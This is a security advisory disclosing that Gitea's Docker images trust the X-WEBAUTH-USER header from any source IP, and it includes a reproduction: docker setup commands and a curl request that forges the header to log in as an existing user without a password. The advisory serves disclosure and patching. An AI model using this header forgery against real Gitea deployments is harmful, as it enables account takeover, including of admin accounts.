GHSA-f75j-4cw6-rmx4: Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`

Summary The Gitea Docker images ship an app.ini template that hard-codes: REVERSE_PROXY_TRUSTED_PROXIES = * The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted. When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container. Affected - gitea/gitea Docker images (verified 1.26.2) - docker/root/etc/templates/app.ini:55 - docker/rootless/etc/templates/app.ini:52 Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected. Reproduction docker run -d --name g -p 3000:3000 \ -e GITEAserviceENABLE_REVERSE_PROXY_AUTHENTICATION=true \ -e GITEAsecurityINSTALL_LOCK=true \ gitea/gitea:1.26.2 sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false Now the attack:: curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>' Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie. Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user. Impact Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.